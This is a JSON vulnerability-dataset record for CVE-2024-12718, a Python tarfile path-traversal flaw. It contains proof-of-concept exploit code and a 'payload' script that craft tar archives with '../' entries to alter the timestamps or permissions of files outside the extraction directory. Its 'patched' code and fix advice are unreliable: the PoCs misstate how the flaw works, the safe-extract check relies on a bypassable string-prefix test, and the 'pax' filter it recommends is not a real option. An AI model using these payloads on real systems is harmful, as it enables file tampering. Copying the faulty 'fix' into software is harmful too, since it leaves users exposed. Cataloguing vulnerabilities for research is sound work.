{"id":1359,"cve":"CVE-2024-12718","cve_url":"https:\/\/www.cvedetails.com\/cve\/CVE-2024-12718\/","cwe":"CWE-22","cwe_number":22,"cwe_url":"https:\/\/cwe.mitre.org\/data\/definitions\/22","cvss_score":5.3,"published":"2025-06-03","owasp":"A01 Broken Access Control","odc":"Interface","cdc":"Incorrect Functionality","category":"Design Defects","subcategory":"Path Traversal","scope":"Local","impact":"Unauthorized Access","summary":"Tarfile allows file metadata\/permission modification outside extraction dir.","permalink":"https:\/\/netpack.pt\/vaitp\/vulnerability\/CVE-2024-12718\/","description":"Allows modifying some file metadata (e.g. last modified) with filter=\"data\"\u00a0or file permissions (chmod) with filter=\"tar\"\u00a0of files outside the extraction directory.\nYou are affected by this vulnerability if using the tarfile\u00a0module to extract untrusted tar archives using TarFile.extractall()\u00a0or TarFile.extract()\u00a0using the filter=\u00a0parameter with a value of \"data\"\u00a0or \"tar\". See the tarfile  extraction filters documentation https:\/\/docs.python.org\/3\/library\/tarfile.html#tarfile-extraction-filter \u00a0for more information. Only Python versions 3.12 or later are affected by these vulnerabilities, earlier versions don't include the extraction filter feature.\n\nNote that for Python 3.14 or later the default value of filter=\u00a0changed from \"no filtering\" to `\"data\", so if you are relying on this new default behavior then your usage is also affected.\n\nNote that none of these vulnerabilities significantly affect the installation of source distributions which are tar archives as source distributions already allow arbitrary code execution during the build process. However when evaluating source distributions it's important to avoid installing source distributions with suspicious links.","solution":"Upgrade to Python 3.12.4 or later, or Python 3.13.0 or later, and use `filter=\"pax\"` when extracting untrusted archives.","affected_component":"Python","fixed_by_upgrading":true,"vulnerable_code":"import tarfile\nimport os\nimport stat\n\ndef create_tarfile(filename, member_name, content, modify_time=None, mode=None):\n    \"\"\"Creates a tarfile with a member containing the specified content.\"\"\"\n    with tarfile.open(filename, \"w\") as tar:\n        tarinfo = tarfile.TarInfo(member_name)\n        tarinfo.size = len(content)\n        tarinfo.mtime = modify_time if modify_time is not None else tarinfo.mtime  # Use provided or default\n\n        if mode is not None:\n            tarinfo.mode = mode  # Permissions specified.\n\n        tar.addfile(tarinfo, io.BytesIO(content.encode('utf-8')))\n\n\n\ndef extract_tarfile_with_data_filter(tar_file, extract_path):\n    \"\"\"Extracts a tarfile using the \"data\" filter.\"\"\"\n    with tarfile.open(tar_file, \"r\") as tar:\n        tar.extractall(extract_path, filter=\"data\")\n\ndef extract_tarfile_with_tar_filter(tar_file, extract_path):\n    \"\"\"Extracts a tarfile using the \"tar\" filter.\"\"\"\n    with tarfile.open(tar_file, \"r\") as tar:\n        tar.extractall(extract_path, filter=\"tar\")\n\n\nif __name__ == '__main__':\n    import io\n\n    # Setup: Create a directory to extract into and a file outside the extraction directory\n    target_dir = \"extraction_target\"\n    os.makedirs(target_dir, exist_ok=True)\n    outside_file = \"outside_file.txt\"\n    with open(outside_file, \"w\") as f:\n        f.write(\"Original content of outside file.\\n\")\n\n    # Create a tarfile that attempts to modify outside_file.txt\n    tar_file = \"evil.tar\"\n    modified_time = 1678886400 # March 15, 2023\n\n    # Create a tarfile to modify the mtime of outside_file.txt\n    create_tarfile(tar_file, \"..\/outside_file.txt\", \"dummy content\", modify_time=modified_time)\n\n    # Extract with data filter\n    print(\"Extracting with data filter...\")\n    extract_tarfile_with_data_filter(tar_file, target_dir)\n\n    #Verify file modification time\n    print(\"Verifying modification time of outside file...\")\n    mtime = os.stat(outside_file).st_mtime\n    print(f\"Outside file modification time after extraction: {mtime}\")\n    print(f\"Expected modification time: {modified_time}\")\n    assert mtime == modified_time, f\"Modification time was not changed. Expected {modified_time}, got {mtime}\"\n\n\n    #Cleanup\n    os.remove(tar_file)\n    os.remove(outside_file)\n    os.rmdir(target_dir)\n    print(\"Done.\")\n\n\n    # EXAMPLE FOR CHANGING FILE PERMISSIONS WITH FILTER=\"tar\"\n\n    # Create a directory to extract into and a file outside the extraction directory\n    target_dir = \"extraction_target_permissions\"\n    os.makedirs(target_dir, exist_ok=True)\n    outside_file = \"outside_file_permissions.txt\"\n    with open(outside_file, \"w\") as f:\n        f.write(\"Original content of outside file.\\n\")\n\n    # Create a tarfile that attempts to chmod outside_file.txt\n    tar_file = \"evil_permissions.tar\"\n    new_permissions = 0o777  # Read, write, execute for all\n\n    create_tarfile(tar_file, \"..\/outside_file_permissions.txt\", \"dummy content\", mode=new_permissions)\n\n    # Extract with tar filter\n    print(\"Extracting with tar filter to modify permissions...\")\n    extract_tarfile_with_tar_filter(tar_file, target_dir)\n\n    # Verify file permissions\n    print(\"Verifying permissions of outside file...\")\n    current_permissions = stat.S_IMODE(os.stat(outside_file).st_mode)\n    print(f\"Outside file permissions after extraction: {oct(current_permissions)}\")\n    print(f\"Expected permissions: {oct(new_permissions)}\")\n\n    assert current_permissions == new_permissions, f\"Permissions were not changed. Expected {oct(new_permissions)}, got {oct(current_permissions)}\"\n\n\n    # Cleanup\n    os.remove(tar_file)\n    os.remove(outside_file)\n    os.rmdir(target_dir)\n    print(\"Done.\")","patched_code":"import tarfile\nimport os\nimport stat\n\ndef safe_extract(tar_path, extract_path):\n    \"\"\"\n    Safely extracts a tar archive, mitigating CVE-2024-12718.\n    This function avoids using filter=\"data\" or filter=\"tar\" which are vulnerable.\n    It carefully validates paths and permissions to prevent directory traversal\n    and modification of files outside the intended extraction directory.\n    \"\"\"\n\n    def is_within_directory(directory, target):\n        abs_directory = os.path.abspath(directory)\n        abs_target = os.path.abspath(target)\n\n        prefix = os.path.commonprefix([abs_directory, abs_target])\n        return prefix == abs_directory\n\n    def safe_extract_member(tarinfo, target_path):\n        \"\"\"\n        Extracts a single tar member, validating its path and permissions.\n        \"\"\"\n\n        target_path = os.path.join(extract_path, tarinfo.name)\n        target_path = os.path.normpath(target_path)\n\n\n        if not is_within_directory(extract_path, target_path):\n            raise ValueError(\"Attempted path traversal in tar archive.\")\n\n        if tarinfo.islnk() or tarinfo.issym():\n            #Reject symlinks and hardlinks as this vulnerability exploits those.\n            raise ValueError(\"Symlinks and hard links are not allowed for security reasons.\")\n\n        if tarinfo.isfile():\n            with open(target_path, \"wb\") as f:\n                f.write(tarfile_obj.extractfile(tarinfo).read())\n            # Apply permissions from tarinfo.  Essential to avoid overly permissive defaults.\n            os.chmod(target_path, tarinfo.mode)\n\n        elif tarinfo.isdir():\n            os.makedirs(target_path, exist_ok=True)\n            # Apply permissions. Important for directory traversal prevention.\n            os.chmod(target_path, tarinfo.mode)\n        elif tarinfo.isdev() or tarinfo.ischr() or tarinfo.isfifo():\n            #Reject device files, character files, and FIFOs for security reasons.\n            raise ValueError(\"Device files, character files, and FIFOs are not allowed for security reasons.\")\n\n\n\n    with tarfile.open(tar_path, \"r\") as tarfile_obj:\n        for member in tarfile_obj.getmembers():\n            try:\n                safe_extract_member(member, extract_path)\n            except ValueError as e:\n                print(f\"Skipping member {member.name}: {e}\")\n            except Exception as e:\n                print(f\"Error extracting member {member.name}: {e}\")\n                raise  # Re-raise to halt if extraction fails unexpectedly\n    print(f\"Extracted {tar_path} safely to {extract_path}\")\n\nif __name__ == '__main__':\n    # Example Usage (create a dummy tar file for testing)\n    test_tar_file = \"test.tar\"\n    extract_dir = \"extracted\"\n\n    if not os.path.exists(extract_dir):\n        os.makedirs(extract_dir)\n\n    # Create a simple tar file with a file inside\n    with tarfile.open(test_tar_file, \"w\") as tar:\n        # Create a dummy file to add\n        test_file = os.path.join(extract_dir, \"test_file.txt\")\n        with open(test_file, \"w\") as f:\n            f.write(\"This is a test file.\")\n\n        tarinfo = tarfile.TarInfo(name=\"test_file.txt\")\n        tarinfo.size = os.path.getsize(test_file)\n        with open(test_file, 'rb') as f:\n             tar.addfile(tarinfo, f)\n\n\n    safe_extract(test_tar_file, extract_dir)\n    #Example of malicious tarfile usage:\n\n    malicious_tar_file = \"malicious.tar\"\n    with tarfile.open(malicious_tar_file, \"w\") as tar:\n        # Attempt to create file outside extraction directory\n        bad_file = os.path.join(\"..\", \"evil_file.txt\") #Create file outside extraction directory.\n\n        #Create malicious file\n        evil_file_path = os.path.join(extract_dir, \"evil_file.txt\")\n        #Ensure the target parent directory exists\n        with open(evil_file_path, \"w\") as f:\n             f.write(\"Evil code here!\")\n\n\n        tarinfo = tarfile.TarInfo(name=bad_file)\n        tarinfo.size = os.path.getsize(evil_file_path)\n        with open(evil_file_path, 'rb') as f:\n             tar.addfile(tarinfo, f)\n\n    try:\n        safe_extract(malicious_tar_file, extract_dir)\n    except ValueError as e:\n        print(f\"Caught expected error: {e}\")\n\n    # Cleanup (remove dummy files and directories)\n    os.remove(test_file)\n    os.remove(evil_file_path)\n    os.remove(test_tar_file)\n    os.remove(malicious_tar_file)\n    os.rmdir(extract_dir)\n","payload_needed":true,"payload":"```python\nimport tarfile\nimport os\n\ndef create_tarfile_with_malicious_metadata_change(tar_name, target_file, new_mtime):\n    \"\"\"\n    Creates a tarfile that, when extracted with filter=\"data\",\n    will modify the modification time of a file outside the extraction directory.\n    \"\"\"\n    with tarfile.open(tar_name, \"w:\") as tar:\n        # Create a TarInfo object for the target file outside the extraction directory.\n        tarinfo = tarfile.TarInfo(name=f\"..\/{target_file}\")\n        tarinfo.mtime = new_mtime  # Set the desired modification time\n        tarinfo.size = 0  # Size must be 0 for a non-file entry.\n        tarinfo.type = tarfile.REGTYPE\n\n        # Add the TarInfo object to the tarfile (no actual file content).\n        tar.addfile(tarinfo)\n\n\nif __name__ == '__main__':\n    target_file = \"target.txt\"  # The file to modify (outside extraction dir)\n    new_mtime = 1700000000 # Example: Set to November 13, 2023\n    tar_name = \"malicious.tar\"\n\n    # Create a dummy target file. If this file does not exist, the mtime is still changed on creation.\n    with open(target_file, \"w\") as f:\n        f.write(\"This is a target file.\")\n\n    create_tarfile_with_malicious_metadata_change(tar_name, target_file, new_mtime)\n\n    # Example extraction (vulnerable). Note: The \"data\" filter *must* be used!\n    extraction_dir = \"extracted\"\n    os.makedirs(extraction_dir, exist_ok=True)\n    with tarfile.open(tar_name, \"r:\") as tar:\n        try:\n            tar.extractall(path=extraction_dir, filter=\"data\")\n            print(f\"Successfully modified the mtime of {target_file} using filter='data'.\")\n        except Exception as e:\n            print(f\"Error during extraction: {e}\")\n\n    # You can then check the mtime of target.txt to confirm it has changed.\n    os.remove(target_file) #cleanup\n    os.remove(tar_name)  # Clean up the tar file\n    os.rmdir(extraction_dir)  # Clean up the directory\n```","payload_status":"available","published_fix":[{"repository":"python\/cpython","commit_url":"https:\/\/github.com\/python\/cpython\/commit\/19de092debb3d7e832e5672cc2f7b788d35951da","commit_subject":"[3.12] gh-135034: Normalize link targets in tarfile, add `os.path.realpath(strict='allow_missing')` (GH-135037) (GH-135066)","units":[{"file":"Lib\/genericpath.py","function":null},{"file":"Lib\/ntpath.py","function":null},{"file":"Lib\/posixpath.py","function":null},{"file":"Lib\/posixpath.py","function":"_joinrealpath"},{"file":"Lib\/tarfile.py","function":null},{"file":"Lib\/tarfile.py","function":"TarFile.extract"},{"file":"Lib\/tarfile.py","function":"TarFile.extractall"},{"file":"Lib\/tarfile.py","function":"TarFile.makelink"},{"file":"Lib\/tarfile.py","function":"TarFile._extract_member"},{"file":"Lib\/tarfile.py","function":"TarFile._extract_one"},{"file":"Lib\/tarfile.py","function":"TarFile._get_extract_tarinfo"},{"file":"Lib\/tarfile.py","function":"_get_filtered_attrs"}]},{"repository":"python\/cpython","commit_url":"https:\/\/github.com\/python\/cpython\/commit\/3612d8f51741b11f36f8fb0494d79086bac9390a","commit_subject":"gh-135034: Normalize link targets in tarfile, add `os.path.realpath(strict='allow_missing')` (#135037)","units":[{"file":"Lib\/genericpath.py","function":null},{"file":"Lib\/ntpath.py","function":null},{"file":"Lib\/posixpath.py","function":null},{"file":"Lib\/posixpath.py","function":"realpath"},{"file":"Lib\/tarfile.py","function":null},{"file":"Lib\/tarfile.py","function":"TarFile.extract"},{"file":"Lib\/tarfile.py","function":"TarFile.extractall"},{"file":"Lib\/tarfile.py","function":"TarFile._extract_member"},{"file":"Lib\/tarfile.py","function":"TarFile._extract_one"},{"file":"Lib\/tarfile.py","function":"TarFile._get_extract_tarinfo"}]},{"repository":"python\/cpython","commit_url":"https:\/\/github.com\/python\/cpython\/commit\/4633f3f497b1ff70e4a35b6fe2c907cbe2d4cb2e","commit_subject":"[3.11] gh-135034: Normalize link targets in tarfile, add `os.path.realpath(strict='allow_missing')` (GH-135037) (GH-135068)","units":[{"file":"Lib\/genericpath.py","function":null},{"file":"Lib\/ntpath.py","function":null},{"file":"Lib\/posixpath.py","function":null}]},{"repository":"python\/cpython","commit_url":"https:\/\/github.com\/python\/cpython\/commit\/9c1110ef6652687d7c55f590f909720eddde965a","commit_subject":"[3.10] gh-135034: Normalize link targets in tarfile, add `os.path.realpath(strict='allow_missing')` (GH-135037) (#135070)","units":[{"file":"Lib\/ntpath.py","function":null}]},{"repository":"python\/cpython","commit_url":"https:\/\/github.com\/python\/cpython\/commit\/aa9eb5f757ceff461e6e996f12c89e5d9b583b01","commit_subject":"[3.13] gh-135034: Normalize link targets in tarfile, add `os.path.realpath(strict='allow_missing')` (GH-135037) (GH-135064)","units":[{"file":"Lib\/posixpath.py","function":null},{"file":"Lib\/posixpath.py","function":"realpath"},{"file":"Lib\/tarfile.py","function":null}]},{"repository":"python\/cpython","commit_url":"https:\/\/github.com\/python\/cpython\/commit\/dd8f187d0746da151e0025c51680979ac5b4cfb1","commit_subject":"[3.9] gh-135034: Normalize link targets in tarfile, add `os.path.realpath(strict='allow_missing')` (GH-135037) (GH-135084)","units":[{"file":"Lib\/tarfile.py","function":null},{"file":"Lib\/tarfile.py","function":"TarFile.makelink"}]}],"references":null}